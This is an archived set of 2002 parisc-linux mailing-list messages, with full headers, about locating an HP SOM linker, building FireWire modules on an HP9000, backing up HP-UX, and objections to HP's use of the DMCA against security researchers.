X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15692

Hi,

I'm looking for a linker that runs on Linux/ia32, Linux/PARISC32, or
Linux/PARISC64 but targets HPUX/PARISC32 (generates SOM).

I've seen the related emails with the subject line:
HP open sourcing the SOM linker (Fri., Nov. 19, 1999)
http://lists.parisc-linux.org/hypermail/parisc-linux/0252.html
[Semi OT] SOM Linker (Wed., Nov. 15, 2000)
http://lists.parisc-linux.org/hypermail/parisc-linux/2227.html

But no information on if such a linker was ever successfully built.

I've also tried to access the linker source code at:
ftp://puffin.external.hp.com/pub/parisc/linker
http://www.thepuffingroup.com/parisc/cvs.html
but was unable to.  Does anyone know where the PA32 linker source code can
be accessed?

On another track, does anyone know if gld has been modified to support SOM?

Regards,
Sue Ludwig



From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SOM linker on Linux/ia32, Linux/PARISC targeting HPUX/PARISC
Date: Tue, 30 Jul 2002 22:06:11 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20020730220611.F3317@parcelfarce.linux.theplanet.co.uk>
References: <001501c2380b$6f1ea430$ce60000f@HPPDL632>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621581 11867 80.91.229.3 (22 Nov 2014 01:59:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	linker-info@thepuffingroup.com,
	"Sue Ludwig (E-mail)" <shl@cup.hp.com>
To: Sue Ludwig <sue_ludwig@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 15:06:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23E65482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Jul 2002 15:06:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17ZeC3-00019q-00; Tue, 30 Jul 2002 22:06:11 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <001501c2380b$6f1ea430$ce60000f@HPPDL632>; from sue_ludwig@hp.com on Tue, Jul 30, 2002 at 01:55:26PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15693

On Tue, Jul 30, 2002 at 01:55:26PM -0700, Sue Ludwig wrote:
> I'm looking for a linker that runs on Linux/ia32, Linux/PARISC32, or
> Linux/PARISC64 but targets HPUX/PARISC32 (generates SOM).
>
> I've seen the related emails with the subject line:
> HP open sourcing the SOM linker (Fri., Nov. 19, 1999)
> http://lists.parisc-linux.org/hypermail/parisc-linux/0252.html
> [Semi OT] SOM Linker (Wed., Nov. 15, 2000)
> http://lists.parisc-linux.org/hypermail/parisc-linux/2227.html
> 
> But no information on if such a linker was ever successfully built.
> 
> I've also tried to access the linker source code at:
> ftp://puffin.external.hp.com/pub/parisc/linker
> http://www.thepuffingroup.com/parisc/cvs.html
> but was unable to.  Does anyone know where the PA32 linker source code can
> be accessed?

Wow.  Best of luck!  The parisc-linux kernel was converted from SOM
to ELF about 2 years ago, so nobody's used it recently.  You can see
the source code at http://cvs.parisc-linux.org/obsolete/linker/ If you
follow the instructions on the website, you can check out the sources with
`cvs co obsolete/linker'.

Best of luck, I don't know how easy this is going to be to make work...

Have you considered an alias which copies all the .o files to an hpux
host and runs the linker there?  ;-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SOM linker on Linux/ia32, Linux/PARISC targeting HPUX/PARISC
Date: Tue, 30 Jul 2002 17:07:38 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200207302107.g6UL7dml021106@hiauly1.hia.nrc.ca>
References: <001501c2380b$6f1ea430$ce60000f@HPPDL632>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621582 11870 80.91.229.3 (22 Nov 2014 01:59:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	linker-info@thepuffingroup.com, shl@cup.hp.com
To: sue_ludwig@hp.com (Sue Ludwig)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 30 15:10:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DBF4482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Jul 2002 15:10:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6UL7d00021108;
	Tue, 30 Jul 2002 17:07:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6UL7dml021106;
	Tue, 30 Jul 2002 17:07:39 -0400 (EDT)
In-Reply-To: <001501c2380b$6f1ea430$ce60000f@HPPDL632> from "Sue Ludwig" at Jul 30, 2002 01:55:26 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15694

> I've also tried to access the linker source code at:
> ftp://puffin.external.hp.com/pub/parisc/linker
> http://www.thepuffingroup.com/parisc/cvs.html

Try ftp://ftp.parisc-linux.org/src/linker/som-linker-1.0.tar.gz

> On another track, does anyone know if gld has been modified to support SOM?

No it hasn't.  From what I know, this would be very difficult.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.steindlberger@gmx.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IEEE1394 (Firewire iLink) - any ideas to build modules
Date: Tue, 30 Jul 2002 11:21:30 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20020731065644.41D59482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621582 11873 80.91.229.3 (22 Nov 2014 01:59:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 31 00:56:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from server01 (s217-115-138-231.colo.hosteurope.de [217.115.138.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41D59482A
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jul 2002 00:56:44 -0600 (MDT)
Original-Received: from there ([::ffff:10.255.124.2])
  (IDENT: jst)
  by server01 with esmtp; Tue, 30 Jul 2002 11:20:02 +0200
X-Mailer: KMail [version 1.3.2]
X-Mime-Autoconverted: from 8bit to 7bit by courier 0.39
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15695

Hi,

did anyone succeed in building modules for an OHCI1394 card? I think the 
problem is a general leck in DMA support. As I'm not a kernel specialist I 
don't have any idea.
When trying to build a module there are dependency problems. When trying to 
build into the kernel there are missing some functions for DMA - I think.

Regards
Joerg

PS:
( System: HP9000 C360 )
  Bus  0, device   3, function  0:
    FireWire (IEEE 1394): PCI device 104c:8020 (Texas Instruments) (rev 0).
      IRQ 99.
      Master Capable.  Latency=255.  Min Gnt=3.Max Lat=4.
      Non-prefetchable 32 bit memory at 0xf2ff8000 [0xf2ff87ff].
      Non-prefetchable 32 bit memory at 0xf2ffc000 [0xf2ffffff].


From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IEEE1394 (Firewire iLink) - any ideas to build modules
Date: Wed, 31 Jul 2002 00:08:35 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020731070835.GG1419@tausq.org>
References: <20020731065644.41D59482A@dsl2.external.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621582 11878 80.91.229.3 (22 Nov 2014 01:59:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: j.steindlberger@gmx.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 31 01:04:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F839482A
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jul 2002 01:04:00 -0600 (MDT)
Original-Received: (qmail 28677 invoked from network); 31 Jul 2002 07:03:58 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <j.steindlberger@gmx.net>; 31 Jul 2002 07:03:58 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1434CCE04E; Wed, 31 Jul 2002 00:08:35 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020731065644.41D59482A@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15696

> did anyone succeed in building modules for an OHCI1394 card? I think the 
> problem is a general leck in DMA support. As I'm not a kernel specialist I 
> don't have any idea.
> When trying to build a module there are dependency problems. When trying to 
> build into the kernel there are missing some functions for DMA - I think.

what config did you use, and what errors did you see?

i'm not sure what you mean by "a general lack in DMA support"... DMA
works quite well :)

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HELP!
Date: Wed, 31 Jul 2002 10:08:21 +0300
Lines: 6
Approved: news@gmane.org
Message-ID: <3D478CE5.40107@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621583 11880 80.91.229.3 (22 Nov 2014 01:59:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 31 01:07:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id A182E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jul 2002 01:07:06 -0600 (MDT)
Original-Received: (qmail 2442 invoked from network); 31 Jul 2002 07:09:52 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 31 Jul 2002 07:09:52 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15697

Hello, I am using parisc linux at the moment.
But I want to install linux on another HP machine.
But I must backup all HP-UX filesystem. How I can make it?
Thanks in advance



From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP attempts to silence security researchers using the DMCA
Date: 31 Jul 2002 14:59:51 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1028123991.8510.66.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621583 11881 80.91.229.3 (22 Nov 2014 01:59:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:43 +0000 (UTC)
To: HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 31 06:43:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99704482A
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jul 2002 06:43:17 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6VDxqu6011061
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jul 2002 14:59:53 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6VDxqQ6011059;
	Wed, 31 Jul 2002 14:59:52 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15698


http://news.com.com/2100-1023-947325.html

I seem to have a pair of parisc boxes here. Perhaps someone at HP would
care to publically explain their actions, or chould kindly arrange for
the collection of their hardware ?






From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP attempts to silence security researchers
	using the DMCA
Date: 31 Jul 2002 09:14:21 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <1028121261.2564.108.camel@archimedes.localnetsolutions.com>
References: <1028123991.8510.66.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-H9EXCJrA6PadRDbrTeMX"
X-Trace: ger.gmane.org 1416621583 11884 80.91.229.3 (22 Nov 2014 01:59:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:43 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 31 07:14:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BF3A482A
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jul 2002 07:14:28 -0600 (MDT)
Original-Received: from user-119b1cf.biz.mindspring.com ([66.149.133.143] helo=castle.localnetsolutions.com)
	by smtp10.atl.mindspring.net with esmtp (Exim 3.33 #1)
	id 17ZtJ2-0002ZF-00; Wed, 31 Jul 2002 09:14:24 -0400
Original-Received: from archimedes.localnetsolutions.com (archimedes.localnetsolutions.com [192.168.0.2])
	by castle.localnetsolutions.com (8.11.6/linuxconf) with ESMTP id g6VDESr03903;
	Wed, 31 Jul 2002 09:14:28 -0400
In-Reply-To: <1028123991.8510.66.camel@irongate.swansea.linux.org.uk>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15699

--=-H9EXCJrA6PadRDbrTeMX
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I think what we have is another classic example of managerial
cranial-rectal overlap. From that vantage point, face to face meetings
with reality are much more difficult than meeting a lawyer.

It's a shame that so many talented people at HP are going to get lumped
into the bad image of the corporation because of the (mis)leadership of
the management.

On Wed, 2002-07-31 at 09:59, Alan Cox wrote:
>=20
>=20
> http://news.com.com/2100-1023-947325.html
>=20
> I seem to have a pair of parisc boxes here. Perhaps someone at HP would
> care to publically explain their actions, or chould kindly arrange for
> the collection of their hardware ?
>=20
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--=20
James P. Kinney III   \Changing the mobile computing world/
President and CEO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-H9EXCJrA6PadRDbrTeMX
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA9R+KtYZCtw4KcbKcRAmYDAKDd4Iq6dY3X8H441BkMGYtgdfEukwCfQa5g
Ea+Jvkq4nthvGyQJO3jtKVg=
=Fyry
-----END PGP SIGNATURE-----

--=-H9EXCJrA6PadRDbrTeMX--



From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP attempts to silence security researchers using the DMCA
Date: Wed, 31 Jul 2002 09:26:37 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020731152637.2C79F482A@dsl2.external.hp.com>
References: <1028123991.8510.66.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621584 11888 80.91.229.3 (22 Nov 2014 01:59:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:44 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 31 09:26:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2C79F482A; Wed, 31 Jul 2002 09:26:37 -0600 (MDT)
In-Reply-To: Message from Alan Cox <alan@lxorguk.ukuu.org.uk> 
   of "31 Jul 2002 14:59:51 BST." <1028123991.8510.66.camel@irongate.swansea.linux.org.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15700

Alan Cox wrote:
> http://news.com.com/2100-1023-947325.html

*sigh*. :^(

> I seem to have a pair of parisc boxes here. Perhaps someone at HP would
> care to publically explain their actions, or chould kindly arrange for
> the collection of their hardware ?

The battle inside HP has started. I'm not privy to details.
And I don't want to hear them right now.
I'm looking forward to the public explanation as well.

But this is a parisc-linux mailing list.  I don't want to turn it into
a "Bash HP because Kent Ferson is an ..." forum.  Got to /. for that.

Or use the "Contact Us" link on http://www.hp.com.
Please include links to relevant News articles and express your
concerns in an manner as civil as Alan Cox has. Your email will
get directed to the right "new HP" divisions.

thanks,
grant


From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP attempts to silence security researchers using the DMCA
Date: Wed, 31 Jul 2002 14:34:26 -0700 (PDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <20020731213426.696.qmail@web12504.mail.yahoo.com>
References: <20020731152637.2C79F482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621584 11891 80.91.229.3 (22 Nov 2014 01:59:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:44 +0000 (UTC)
